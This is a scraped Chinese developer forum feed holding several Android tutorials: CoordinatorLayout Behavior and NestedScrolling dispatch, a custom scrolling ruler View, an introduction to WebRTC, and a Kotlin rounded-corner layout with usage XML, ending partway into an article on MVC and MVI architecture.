的时候会使用 layoutDependsOn() 方法,针对 CoordinatorLayout 的每个子控件,判断其他子控件与其是否构成依赖关系。如果构成了依赖关系,就回调其对应的 Behavior 的 onDependentViewChanged() 或者 onDependentViewRemoved() 方法。


public boolean layoutDependsOn(@NonNull CoordinatorLayout parent, @NonNull V child, @NonNull View dependency)
public boolean onDependentViewChanged(@NonNull CoordinatorLayout parent, @NonNull V child, @NonNull View dependency)
public void onDependentViewRemoved(@NonNull CoordinatorLayout parent, @NonNull V child, @NonNull View dependency)

2.5 与窗口变化和状态保存与恢复相关的事件


然后是与窗口变化和状态保存与恢复相关的事件。


public WindowInsetsCompat onApplyWindowInsets(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull WindowInsetsCompat insets)
public boolean onRequestChildRectangleOnScreen(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull Rect rectangle, boolean immediate)
public void onRestoreInstanceState(@NonNull CoordinatorLayout parent, @NonNull V child,
@NonNull Parcelable state)
public Parcelable onSaveInstanceState(@NonNull CoordinatorLayout parent, @NonNull V child)
public boolean getInsetDodgeRect(@NonNull CoordinatorLayout parent, @NonNull V child,
@NonNull Rect rect)

这些事件一般不会用到。


3、Behavior 的事件分发机制


以上是 Behavior 内定义的一些方法。Behavior 主要的用途还是用来做触摸事件的分发。这里,我们来重点关注和触摸事件分发相关的方法。


3.1 安卓的触摸事件分发机制


首先我们来回顾传统的事件分发机制。当 window 将触摸事件交给 DecorView 之后,触摸事件在 ViewGroup 和 View 之间传递遵循如下模型,


// ViewGroup
public boolean dispatchTouchEvent(MotionEvent ev) {
if ACTION_DOWN 事件并且 FLAG_DISALLOW_INTERCEPT 允许拦截 {
final boolean intercepted = onInterceptTouchEvent(ev) // 注意 onInterceptTouchEvent 的位置
}
boolean handled;
if !intercepted {
if child == null {
handled = super.dispatchTouchEvent(ev)
} else {
handled = child.dispatchTouchEvent(ev)
}
}
return handled;
}

// View
public boolean dispatchTouchEvent(MotionEvent event) {
if mOnTouchListener.onTouch(this, event) {
return true
}
if onTouchEvent(event) { // 注意 onTouchEvent 的位置
return true
}
return false
}

所以,子控件可以通过调用父控件的 requestDisallowInterceptTouchEvent() 方法不让父控件拦截事件。但是这种拦截机制完全是基于默认的实现逻辑。如果父控件修改了 requestDisallowInterceptTouchEvent() 方法或者 dispatchTouchEvent() 方法的逻辑,子控件的约束效果是无效的。


父控件通过 onInterceptTouchEvent() 拦截事件只能拦截部分事件。


相比于父控件,子控件的事件分发则简单得多。首先是先将事件交给自定义的 mOnTouchListener 来处理,其没有消费才将其交给默认的 onTouchEvent 来处理。在 onTouchEvent 里则会判断事件的类型,比如点击和长按之类的,而且可以看到系统源码在判断具体的事件类型的时候使用了 post Runnable 的方式。


在父控件中如果子控件没有处理,则父控件将会走 View 的 dispatchTouchEvent() 逻辑,也就是去判断事件的类型来消费了。


3.2 与触摸事件分发机制相关的方法


在 Behavior 中定义了两个与触摸事件分发相关的方法,


public boolean onInterceptTouchEvent(@NonNull CoordinatorLayout parent, @NonNull V child, @NonNull MotionEvent ev)
public boolean onTouchEvent(@NonNull CoordinatorLayout parent, @NonNull V child, @NonNull MotionEvent ev)

对照上面的事件分发机制中 onInterceptTouchEvent 和 onTouchEvent 的逻辑,这里的 Behavior 的拦截逻辑是:CoordinatorLayout 按照 Behavior 的出现顺序进行遍历,先走 CoordinatorLayout 的 onInterceptTouchEvent,如果一个 Behavior 的 onInterceptTouchEvent 拦截了该事件,则会记录拦截该事件的 View 并给其他 Behavior 的 onInterceptTouchEvent 发送给一个 Cancel 类型的触摸事件。然后,在 CoordinatorLayout 的 onTouchEvent 方法中会执行该 View 对应的 Behavior 的 onTouchEvent 方法。


3.3 安卓的 NestedScrolling 机制


安卓在 5.0 上引入了 NestedScrolling 机制。之所以引入该事件是因为传统的事件分发机制 MOVE 事件当父控件拦截了之后就无法再交给子 View. 而 NestedScrolling 机制可以指定在一个滑动事件中,父控件和子控件分别消费多少。比如,在一个向上的滑动事件中,我们需要 toolbar 先向上滑动 50dp,然后列表再向上滑动。此时,我们可以先让 toolbar 消费 50dp 的事件,剩下的再交给列表处理,让其向上滑动 6dp 的距离。


在 NestedScrolling 机制中定义了 NestedScrollingChildNestedScrollingParent 两个接口(为了支持更多功能后续又定义了 NestedScrollingChild2 和 NestedScrollingChild3 等接口)。外部容器通常实现 NestedScrollingParent 接口,而子控件通常实现 NestedScrollingChild 接口。在常规的事件分发机制中,子控件(比如 RecyclerView 或者 NestedScrollView )会在 Move 事件中找到父控件,如果该父控件实现了 NestedScrollingParent 接口,就会通知该父控件发生了滑动事件。然后,父控件可以对滑动事件进行进一步的分发。以 RecyclerView 为例,


// androidx.recyclerview.widget.RecyclerView#onTouchEvent
public boolean onTouchEvent(MotionEvent e) {
// ...
switch (action) {
case MotionEvent.ACTION_MOVE: {
// ...
if (dispatchNestedPreScroll(
canScrollHorizontally ? dx : 0,
canScrollVertically ? dy : 0,
mReusableIntPair, mScrollOffset, TYPE_TOUCH
)) {
// ...
}
}
}
}

这里 dispatchNestedPreScroll() 就是滑动事件的分发逻辑,它最终会走到 ViewParentCompat 的 onNestedPreScroll() 方法,并在该方法中向上交给父控件进行分发。代码如下,


public static void onNestedPreScroll(ViewParent parent, View target, int dx, int dy,
int[] consumed, int type) {
if (parent instanceof NestedScrollingParent2) {
((NestedScrollingParent2) parent).onNestedPreScroll(target, dx, dy, consumed, type);
} else if (type == ViewCompat.TYPE_TOUCH) {
if (Build.VERSION.SDK_INT >= 21) {
parent.onNestedPreScroll(target, dx, dy, consumed);
} else if (parent instanceof NestedScrollingParent) {
((NestedScrollingParent) parent).onNestedPreScroll(target, dx, dy, consumed);
}
}
}

3.4 与 NestedScrolling 相关的方法


在 CoordinatorLayout 中,与 NestedScrolling 机制相关的方法主要分成 scroll 和 fling 两类。


public boolean onStartNestedScroll(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View directTargetChild, @NonNull View target,
@ScrollAxis int axes, @NestedScrollType int type)
public void onNestedScrollAccepted(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View directTargetChild, @NonNull View target,
@ScrollAxis int axes, @NestedScrollType int type)
public void onStopNestedScroll(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View target, @NestedScrollType int type)
public void onNestedScroll(@NonNull CoordinatorLayout coordinatorLayout, @NonNull V child,
@NonNull View target, int dxConsumed, int dyConsumed, int dxUnconsumed,
int dyUnconsumed, @NestedScrollType int type, @NonNull int[] consumed)
public void onNestedPreScroll(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View target, int dx, int dy, @NonNull int[] consumed,
@NestedScrollType int type)

public boolean onNestedFling(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View target, float velocityX, float velocityY,
boolean consumed)
public boolean onNestedPreFling(@NonNull CoordinatorLayout coordinatorLayout,
@NonNull V child, @NonNull View target, float velocityX, float velocityY)

以 scroll 类型的事件为例,其工作的原理:


CoordinatorLayout 中会对子控件进行遍历,然后将对应的事件传递给子控件的 Behavior (若有)的对应方法。对于滑动类型的事件,在滑动事件传递的时候先传递 onStartNestedScroll 事件,用来判断某个 View 是否拦截滑动事件。而在 CoordinatorLayout 中,会交给 Beahvior 判断是否处理该事件。然后 CoordinatorLayout 会讲该 Behavior 是否拦截该事件的状态记录到对应的 View 的 LayoutParam. 然后,当 CoordinatorLayout 的 onNestedPreScroll 被调用的时候,会读取 LayoutParame 上的状态以决定是否调用该 Behavior 的 onNestedPreScroll 方法。另外,只有当一个 CoordinatorLayout 包含的所有的 Behavior 都不处理该滑动事件的时候,才判定 CoordinatorLayout 不处理该滑动事件。


伪代码如下,


// CoordinatorLayout
public boolean onStartNestedScroll(View child, View target, int axes, int type) {
boolean handled = false;
for 遍历子 view {
Behavior viewBehavior = view.getLayoutParams().getBehavior()
final boolean accepted = viewBehavior.onStartNestedScroll();
handled |= accepted;
// 根据 accepted 给 view 的 layoutparams 置位
view.getLayoutParams().setNestedScrollAccepted(accepted)
}
return handled;
}

// CoordinatorLayout
public void onStopNestedScroll(View target, int type) {
for 遍历子 view {
// 读取 view 的 layoutparams 的标记位
if view.getLayoutParams().isNestedScrollAccepted(type) {
Behavior viewBehavior = view.getLayoutParams().getBehavior()
// 将事件交给 behavior
viewBehavior.onStopNestedScroll(this, view, target, type)
}
}
}

在消费事件的时候是通过覆写 onNestedPreScroll() 等方法,以该方法为例,


public void onNestedPreScroll(View target, int dx, int dy, int[] consumed, int  type) {}

这里的 dx 和 dy 是滚动在水平和方向上的总的值,我们消费的值通过 consumed 指定。比如 dy 表示向上一共滚动了 50dp,而我们的 toolbar 需要先向上滚动 44dp,那么我们就将 44dp 的数值赋值给 consumed 数组(方法签名中的数组是按引用传递的)。这样父控件就可以将剩下的 6dp 交给列表,所以列表最终会向上滚动 6dp.


3.5 触摸事件分发机制小结


按照上述 Behavior 的实现方式,一个 Behavior 是可以拦截到 CoordinatorLayout 内所有的 View 的 NestedScrolling 事件的。因而,我们可以在一个 Behavior 内部对 CoordinatorLayout 内的所有的 NestedScrolling 事件进行统筹拦截和调度。用一个图来表示整体分发逻辑,如下,


CoordinatorLayoutBehavior事件分发逻辑


这里需要注意,按照我们上面的分析,CoordinatorLayout 收集到的事件 NestedScrolling 事件,如果一个控件并没有实现 NestedScrollingChild 接口,或者更严谨得说,没有将滚动事件传递给 CoordinatorLayout,那么 Behavior 就无法接受到滚动事件。但是对于普通的触摸事件 Behavior 是可以拦截到的。


4、总结


这篇文章主要用来分析 Behavior 的整个工作原理。因为篇幅已经比较长,这里就不再拿具体的案例进行分析了。对于 Behavior,只要摸透了它是如何工作的,具体的案例分析起来也不会太难。


作者:开发者如是说
链接:https://juejin.cn/post/7223215823339208759
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android UI-薄荷健康尺子

效果 源码:HenCoder-CustomView: HenCoder-三篇自定义View仿写 (gitee.com) 原的 仿的 功能点分析 根据尺子的量程 和 分度值 绘制尺子的静态效果 内容滑动,计算滑动边界 惯性滑动,智能定位 计算当前刻度值 基...
继续阅读 »

效果


源码:HenCoder-CustomView: HenCoder-三篇自定义View仿写 (gitee.com)


原的


QQ图片20220508153648.gif
仿的


QQ图片20220508153644.gif


功能点分析



  1. 根据尺子的量程 和 分度值 绘制尺子的静态效果

  2. 内容滑动,计算滑动边界

  3. 惯性滑动,智能定位

  4. 计算当前刻度值

  5. 基准线居中


实现分析


OIP-C.jfif


绘制尺子刻度



  1. 分度值:即最小刻度值,就是在测量仪器所能读出的最小值,指测量工具上相邻的两个刻度之间的最小格的数值

  2. 绘制尺子刻度,肯定要用到循环,最简单的办法,知道尺子的刻度总数,即可把尺子绘制出来。

  3. 尺子的刻度数根据 量程和分度值确定。上图尺子同样的量程 有两个分度值,尺子的刻度数完全不同

  4. 刻度数的计算:量程/分度值。 比如:

    1. 度量范围20~100,量程是80,分度值是1。 一共80个刻度

    2. 但凡事总有例外,度量范围0~100,量程100,分度值1,并不是100个刻度,而是一百零一个刻度。

    3. 0也算一个刻度,0 ~ 100 是101个数。1~100才是100个数。 程序员应该很好理解吧,毕竟从入行开始,数的起始就不是1了🐶



  5. 尺子的刻度一般都是10进制,则取余数 i % 10 == 0 表明是大刻度,其余的都是小刻度。

  6. 定义变量,刻度的长款,间隔。已经知道总刻度数,通过循环遍历即可绘制出尺子的静态样式

  7. 绘制文字比较简单 每次取余数 i % 10 == 0 表示大刻度,需要绘制文字,坐标微调即可。


尺子的滑动



  1. 滑动分两种,内容滑动和拖拽滑动。

    1. 内容滑动场景是:ScrollView ,ListView,RecyclerView,在有限的位置固定的空间内可以展示无限内容。

    2. 拖拽滑动指View内容不变,位置变化。应用场景是微信语音,视频电话的小窗口。



  2. 尺子的滑动是内容滑动

    1. 重写onTouchEvent() 。记录每次手指滑动产生的坐标,上一次坐标与当前坐标相减,计算滑动距离。

    2. 在move事件中,调用scrollBy() 传入滑动距离,内容滑动完成



  3. 惯性滑动组件介绍

    1. 仅仅使用scrollBy() 滑动无惯性,效果比较生硬,与系统滑动组件的体验相差比较多

    2. 结合 VelocityTrackerScroller 使滑动产生惯性

    3. VelocityTracker 收集手指滑动路径的坐标用作路程,传入时间,计算出速度。

    4. Scroller 滑动辅助类,并不实现View滚动。它的作用好像属性动画,计算一段时间内数字变化, 比如:一秒内从0增长到100。 开发者监听数字变化从而实现动画



  4. 惯性滑动实现

    1. 重写onTouchEvent() 调用VelocityTracker.addMovement(event) 收集手势滑动信息

    2. 在up事件,VelocityTracker.computeCurrentVelocity(1000) 计算一秒内滑动距离产生的速度

    3. 速度计算结果 ,手指左滑 速度正数 ,手指右滑 速度负数。

    4. 速度正数使坐标增加 ,负数使坐标减少。这里会引发一个问题

    5. 调用Scroller.fling()

      1. fling 参数解析

      2. startX:开始位置

      3. minX-maxX:区间 ,根据速度计算x值 的范围在 minX maxX之间

      4. velocityX 速度的影响

        1. 比如:手指右滑

        2. 期望效果 x轴正方向移动 值增加

        3. 实际效果 速度负数 Scroller.fling动画结果 x轴负方向移动 值减少

        4. 期望效果与实际效果正好相反 所以速度取相反数 效果正好



      5. fling总结

        1. startX开始位置 如 :100

        2. 受速度影响 计算结果 会从100开始增加或减少。

        3. 但不是无限增加或减少,计算结果的边界在 minX最小值,maxX最大值 之间





    6. 调用 invalidate() 触发view重绘,

    7. 重写computeScroll() ,获取Scroller动画结果 ,调用scrollTo() 实现内容滚动




滑动边界


Untitled.png


滑动边界与view的大小是两个概念


view的内容绘制在canvas上,canvas是一块无限大的画布,View有坐标系,左上角是原点(0,0),惨van无限大,坐标系也是无限大的。


View的宽高则是在无限大的canvas从原点开始圈出一块位置展示内容。


如下图,用户的可视范围只是100*100,但无限大的canvas仍然存在。假设在(200,200)的位置画了一个点,虽然用户看不见,但是它仍然存在。


上一节使用scrollBy()scrollTo() 实现内容的滑动


其内部原理是修改View的两个属性mScrollX,mScrollYmScrollX,mScrollY 表示内容在X轴Y轴的滚动距离,也可以说是确定View的展示的原点。


举例说明:



  1. 自定义View,宽高都是100

  2. 两点坐标确定一个矩形,默认原点(0,0) 由于宽高100,另一点坐标(100,100)。View展示canvas (0,0),(100,100)两点坐标圈出的部分

  3. 沿X轴移动距离100后,原点坐标(100,0),另一点坐标(200,100)。View展示canvas (100,0),(200,100)两点坐标圈出的部分


所以想要实现View内容滑动的边界,就要限制X轴坐标的取值范围,也就是mScrollX 属性的范围,从0到X。


那么如何计算滑动范围呢?


滑动范围 = 大刻度数大刻度宽 + 小刻度数小刻度宽 + 间隔数*间隔宽


基准线居中


其实这个东西吧 属于会了不难,难了不会,经验问题,不知道的可能想半天也没想出来。


先说结论:基准线x轴坐标 = view宽度/2 + mScrollX 就能达到滚动时居中效果。


分析



  1. 假设View的宽高都为100

  2. 画一条长度为10的X轴居中的线段,坐标点(50,10)

  3. 这条线段只是看起来居中,在view的可视范围(0,0),(100,100)内居中,

  4. 它并不是画在View上,而是画在canvas,view只是圈出一个范围

  5. 当内容水平滑动,x值不断改变,线段的坐标也要随着滑动不断变化,才能维持居中的效果

  6. 代表水平滑动距离的变量是mScrollX 线段坐标点为 (mScrollX +50,10)


智能定位


业务描述


当滑动到两个刻度之间,四舍五入自动定位到最近的那个刻度,比如:滑动到11.6,分度值是1,左右两个刻度分别是11,12。四舍五入滑动到12。


应用场景



  1. 惯性滑动后需要智能定位

  2. up手势之后,如果速度过小,无法出发惯性滑动,则需要智能定位


实现过程


这块挺复杂的,没办法详细说 很容易乱,我的思路不一定是最好的,当作参考



  1. 核心思路是利用等比例换算。

  2. 预先知道总滑动距离,知道当前滑动值,能够计算出滑动比例。

  3. 滑动比例 == 数值比例,通过比例计算出当前的测量值

  4. 根据分度值单位四舍五入,求出定位值,计算出定位值的X轴坐标

  5. mScrollX -定位值的X轴坐标 = 滑动距离。求出滑动距离后利用 Scroller.startScroll() 进行滑动


只绘制可视区域内容


之前几点完成之后就算是可以正常使用的组件了,原本是不打算做可视区域绘制的(懒)


但是在调试的时候发现绘制内容过多会很卡,不流畅z


比如:度量范围1~100,分度值是1,需要绘制100个刻度。分度值0.1,需要绘制1k个刻度,分度值0.01,需要绘制1w个刻度,卡顿非常明显了,简直不能用。


计算可视区域非常简单。view的可见区域 = x轴坐标范围 = 滚动距离 + view的宽度


x坐标在范围内视为可见,不在范围内视为不可见


private fun isVisibleArea(x: Int): Boolean {
//view的可见区域 = x轴坐标范围 = 滚动距离 + view的宽度
val offset = 20 //偏移量
val start =scrollX-offset
val end =scrollX+measuredWidth+ offset
return x in start..end
}

override fun onDraw(canvas: Canvas) {
super.onDraw(canvas)
//简化代码
if (isVisibleArea(x)){
drawLine(i, canvas)
drawText(i, canvas)
}
}

作者:图个喜庆
链接:https://juejin.cn/post/7095286970976305182
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

【直播开发】WebRTC 的初认识

前言 WebRTC(Web Real-Time Communication)是一种用于实现实时通信的开放标准和技术框架。它允许浏览器和移动应用程序实现点对点(P2P)音频,视频和数据通信,无需任何插件或附加软件。WebRTC 的发展和普及,得益于 HTML5 ...
继续阅读 »

前言


WebRTC(Web Real-Time Communication)是一种用于实现实时通信的开放标准和技术框架。它允许浏览器和移动应用程序实现点对点(P2P)音频,视频和数据通信,无需任何插件或附加软件。WebRTC 的发展和普及,得益于 HTML5 的广泛应用和 WebRTC 的开放性和跨平台性。在当前快速发展的互联网行业中,WebRTC 成为了实现实时通信的重要技术之一。


WebRTC 的历史和背景


WebRTC 最早由 Google 在 2011 年提出,并在 2013 年正式成为 W3C 和 IETF 的标准。在这之前,实时通信一般需要通过 Flash 插件、ActiveX 控件或者 Java Applet 等附加软件来实现,这使得实时通信的应用受到了很大的限制,同时也面临着兼容性和安全性等问题。WebRTC 的出现解决了这些问题,为实现实时通信提供了一种标准化的解决方案。


WebRTC 的主要功能和优点


WebRTC 提供了丰富的实时通信功能,包括音频,视频,数据传输和共享屏幕等功能。它具有以下优点:



  • 实时性好:WebRTC 可以实现低延迟的音视频传输,使得实时通信更加流畅和自然。

  • 交互性强:WebRTC 提供了实时互动的功能,使得用户之间的交流更加直接和有效。

  • 兼容性好:WebRTC 支持多种浏览器和平台,包括 Chrome、Firefox、Safari、Edge 等,且无需安装任何附加软件。

  • 开发成本低:WebRTC 提供了易于使用的 API 和开发工具,使得开发者可以快速开发实时通信应用,且无需额外的开发成本。


WebRTC 的应用场景和用途


WebRTC 的应用场景非常广泛,涵盖了在线教育,远程会议,互联网电话,即时通讯,游戏,虚拟现实,医疗保健等领域。例如,WebRTC 可以用于实现在线教育平台的实时互动教学,或者为远程办公人员提供高效的视频会议服务。WebRTC 的出现,极大地促进了实时通信技术的应用和普及,提高了人们的生产力和交流效率。


WebRTC 的技术组成部分


WebRTC 的技术组成部分主要包括媒体引擎,信令协议,NAT 穿透技术,安全和加密机制等。




  • 媒体引擎:WebRTC 的媒体引擎是其核心技术之一,用于处理音视频数据的捕获,编解码和传输等任务。它可以实现音视频数据的实时捕获和处理,同时提供多种编解码器,使得数据传输更加高效和稳定。




  • 信令协议:WebRTC 使用信令协议进行会话管理和数据交换。它的主要任务是协商双方之间的会话参数和建立点对点连接。WebRTC 支持多种信令协议,包括 SIP、XMPP、WebSocket 等。




  • NAT 穿透技术:由于大多数网络设备采用了 NAT 技术,WebRTC需要采用特殊的NAT穿透技术来解决设备之间的通信问题。WebRTC 采用 STUN、TURN 和 ICE 等技术,通过中继服务器和代理服务器等手段,实现设备之间的网络连接。




  • 安全和加密机制:WebRTC 通过加密机制来保证通信的安全性和隐私性。它采用 DTLS 协议实现端到端加密,同时支持 SRTP 协议实现数据的传输加密。另外,WebRTC 还支持数字证书和身份认证等安全机制,以确保通信的安全性和可靠性。




结论


综上所述,WebRTC 是一种重要的实时通信技术,它的出现极大地促进了在线交流和协作的发展。后续我们将从体系结构、实现和开发、以及应用来领略 WebRTC 技术的美。


作者:Quincy_Ye
链接:https://juejin.cn/post/7222186286563885111
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

一个通用的圆角View

这篇文章的目的就是介绍一个通用的圆角View,可以根据圆角的复杂度来灵活切换实现方式。 本自定义View可实现的效果如下: 之前的文章中介绍了实现圆角的各种方式,也比较了各种方案的优势和局限。 圆角实现方式汇总 实际使用中发现在一些简单场景中针对只需要实现上...
继续阅读 »

这篇文章的目的就是介绍一个通用的圆角View,可以根据圆角的复杂度来灵活切换实现方式。


本自定义View可实现的效果如下:



之前的文章中介绍了实现圆角的各种方式,也比较了各种方案的优势和局限。


圆角实现方式汇总


实际使用中发现在一些简单场景中针对只需要实现上圆角或者下圆角的场景,或者所有圆角一致的需求中,我们使用性能更高的outlineProvider实现是最佳选择,但是在复杂需求中,比如上下左右圆角弧度不一致,这种时候我们要实现的话就需要切换实现方案。


二、源码


1.自定义属性


<declare-styleable name="RoundCornerLayout">
<attr name="topCornerRadius" format="dimension|reference" />
<attr name="topCornerRadiusLeft" format="dimension|reference" />
<attr name="topCornerRadiusRight" format="dimension|reference" />
<attr name="bottomCornerRadius" format="dimension|reference" />
<attr name="bottomCornerRadiusLeft" format="dimension|reference" />
<attr name="bottomCornerRadiusRight" format="dimension|reference" />
<attr name="cornerMode" format="string" >
<enum name="outline" value ="0"/>
<enum name="xfermode" value ="1"/>
<enum name="clip_path" value ="2"/>
</attr>
</declare-styleable>

cornerMode用于选择实现方式,可选实现方式有


outline:


支持同时设置四个圆角以及单独设置上圆角或者下圆角,但所有圆角弧度必须相同,不支持单独配置


性能:绘制性能最优,暂未发现兼容和锯齿问题


xfermode:


支持四个圆角单独设置和同时设置


性能:性能稍差,同时抗锯齿效果比clippath会好一些


clippath:


支持四个圆角单独设置和同时设置,实现最灵活。


性能:性能稍差,同时低版本机型锯齿明显,同时和硬件加速有兼容问题,部分机型存在渲染闪烁了切割黑屏


outline的实现方式需要配置 topCornerRadius或者bottomCornerRadius即可


xfermode和clippath的实现方式则需要根据上下左右四个圆角分别配置


2.自定义圆角View


class RoundCornerLayout @JvmOverloads constructor(
context: Context,
attrs: AttributeSet? = null,
defStyleAttr: Int = 0
) : FrameLayout(context, attrs, defStyleAttr) {
companion object {
private const val TAG = "RoundCornerLayout"
private const val CORNER_MODE_OUTLINE = 0
private const val CORNER_MODE_XFERMODE = 1
private const val CORNER_MODE_CLIPPATH = 2
}

private var cornerMode = 0
private var topCornerRadius = 0
private var topCornerRadiusLeft = 0
private var topCornerRadiusRight = 0
private var bottomCornerRadius = 0
private var bottomCornerRadiusLeft = 0
private var bottomCornerRadiusRight = 0

private var mRoundRectPath = Path()
private var mPaint = Paint()
private val mRect = RectF()
private var roundedCorners = FloatArray(8)
private var maskBitmap: Bitmap? = null

init {
val typedArray =
context.obtainStyledAttributes(attrs, R.styleable.RoundCornerLayout, defStyleAttr, 0)
cornerMode =
typedArray.getInt(
R.styleable.RoundCornerLayout_cornerMode,
CORNER_MODE_OUTLINE
)
topCornerRadius =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadius, 0)
topCornerRadiusLeft =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadiusLeft, 0)
topCornerRadiusRight =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadiusRight, 0)
bottomCornerRadius =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadius, 0)
bottomCornerRadiusLeft =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadiusLeft, 0)
bottomCornerRadiusRight =
typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadiusRight, 0)
typedArray.recycle()
mPaint.isAntiAlias = true
updateRoundRectMode()
}

private fun setRoundRectPath() {
roundedCorners[0] = topCornerRadiusLeft.toFloat()
roundedCorners[1] = topCornerRadiusLeft.toFloat()
roundedCorners[2] = topCornerRadiusRight.toFloat()
roundedCorners[3] = topCornerRadiusRight.toFloat()
roundedCorners[4] = bottomCornerRadiusLeft.toFloat()
roundedCorners[5] = bottomCornerRadiusLeft.toFloat()
roundedCorners[6] = bottomCornerRadiusRight.toFloat()
roundedCorners[7] = bottomCornerRadiusRight.toFloat()
mRect.set(0f, 0f, width.toFloat(), height.toFloat())
mRoundRectPath.rewind()
mRoundRectPath.addRoundRect(mRect, roundedCorners, Path.Direction.CW)
}


private fun setOutlineMode() {//讨巧上下多截出去一点,达到只有上圆角或者下圆角,实际还是一致的圆角
when {
topCornerRadius != 0 && bottomCornerRadius == 0 -> {
clipToOutline = true
outlineProvider = object : ViewOutlineProvider() {
override fun getOutline(view: View, outline: Outline) {
outline.setRoundRect(
Rect(0, 0, view.width, view.height + topCornerRadius),
topCornerRadius.toFloat()
)
}
}
}
topCornerRadius == 0 && bottomCornerRadius != 0 -> {
clipToOutline = true
outlineProvider = object : ViewOutlineProvider() {
override fun getOutline(view: View, outline: Outline) {
outline.setRoundRect(
Rect(0, 0 - bottomCornerRadius, view.width, view.height),
bottomCornerRadius.toFloat()
)
}
}
}
topCornerRadius != 0 && bottomCornerRadius != 0 && bottomCornerRadius == topCornerRadius -> {
clipToOutline = true
outlineProvider = object : ViewOutlineProvider() {
override fun getOutline(view: View, outline: Outline) {
outline.setRoundRect(
Rect(0, 0, view.width, view.height),
topCornerRadius.toFloat()
)
}
}
}
}
}

private fun updateRoundRectMode() {
when (cornerMode) {
CORNER_MODE_OUTLINE -> {
setOutlineMode()
}
else -> clipToOutline = false
}
}

override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {
super.onSizeChanged(w, h, oldw, oldh)
when (cornerMode) {
CORNER_MODE_XFERMODE -> {
maskBitmap?.recycle()
maskBitmap = Bitmap.createBitmap(w, h, Bitmap.Config.ARGB_8888).apply {
val canvasTmp = Canvas(this)
setRoundRectPath()
canvasTmp.drawPath(mRoundRectPath, mPaint)
}
}
CORNER_MODE_CLIPPATH -> {
setRoundRectPath()
}
}
}

override fun dispatchDraw(canvas: Canvas?) {
when (cornerMode) {
CORNER_MODE_CLIPPATH -> {
canvas?.clipPath(mRoundRectPath) //切割指定区域
super.dispatchDraw(canvas)
}
CORNER_MODE_XFERMODE -> {
val layerId = canvas?.saveLayer(mRect, mPaint) ?: -1
super.dispatchDraw(canvas)
mPaint.xfermode = PorterDuffXfermode(PorterDuff.Mode.DST_IN) //设置图层混合模式
maskBitmap?.run {
canvas?.drawBitmap(this, 0f, 0f, mPaint)
}
mPaint.xfermode = null
canvas?.restoreToCount(layerId)
}
else -> {
super.dispatchDraw(canvas)
}
}
}
}

三、使用


本文开头的圆角效果就是下面这段代码实现的:


<com.ui.RoundCornerLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="20dp"
android:layout_marginTop="20dp"
android:layout_marginRight="20dp"
app:topCornerRadius="@dimen/roundRectCornerTop">

<TextView
android:layout_width="match_parent"
android:layout_height="50dp"
android:text="outline"
android:background="@android:color/holo_blue_light"
android:gravity="center" />
</com.ui.RoundCornerLayout>

<com.ui.RoundCornerLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="20dp"
android:layout_marginTop="20dp"
android:layout_marginRight="20dp"
app:bottomCornerRadius="@dimen/roundRectCornerTop">

<TextView
android:layout_width="match_parent"
android:layout_height="50dp"
android:text="outline"
android:background="@android:color/holo_blue_light"
android:gravity="center" />
</com.ui.RoundCornerLayout>

<com.ui.RoundCornerLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="20dp"
android:layout_marginTop="20dp"
android:layout_marginRight="20dp"
app:bottomCornerRadius="@dimen/roundRectCornerTop"
app:topCornerRadius="@dimen/roundRectCornerTop">

<TextView
android:layout_width="match_parent"
android:layout_height="80dp"
android:text="outline"
android:background="@android:color/holo_blue_light"
android:gravity="center" />
</com.ui.RoundCornerLayout>

<com.ui.RoundCornerLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="20dp"
android:layout_marginTop="20dp"
android:layout_marginRight="20dp"
app:cornerMode="xfermode"
app:topCornerRadiusLeft="@dimen/roundRectCornerTop"
app:topCornerRadiusRight="@dimen/roundRectCornerTop"
app:bottomCornerRadiusLeft="0dp"
app:bottomCornerRadiusRight="@dimen/roundRectCornerTop2"
>
<TextView
android:layout_width="match_parent"
android:layout_height="80dp"
android:text="xfermode"
android:background="@android:color/holo_blue_light"
android:gravity="center" />
</com.ui.RoundCornerLayout>
<com.ui.RoundCornerLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="20dp"
android:layout_marginTop="20dp"
android:layout_marginRight="20dp"
app:cornerMode="clip_path"
app:topCornerRadiusLeft="0dp"
app:topCornerRadiusRight="@dimen/roundRectCornerTop"
app:bottomCornerRadiusLeft="0dp"
app:bottomCornerRadiusRight="@dimen/roundRectCornerTop2"
>
<TextView
android:layout_width="match_parent"
android:layout_height="80dp"
android:text="clippath"
android:background="@android:color/holo_blue_light"
android:gravity="center" />
</com.ui.RoundCornerLayout>

作者:zzy的学习笔记
链接:https://juejin.cn/post/7222079859710115877
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

MVI 架构的理解

回顾MVC MVP MVVM MVC MVC架构主要分为以下几部分: View层: 对应于xm布局文件和java代码动态view部分。 Controller层: 主要负责业务逻辑,在android中由Activity承担,但xml视图能力太弱,所以A...
继续阅读 »

回顾MVC MVP MVVM


MVC


image.png


MVC架构主要分为以下几部分:




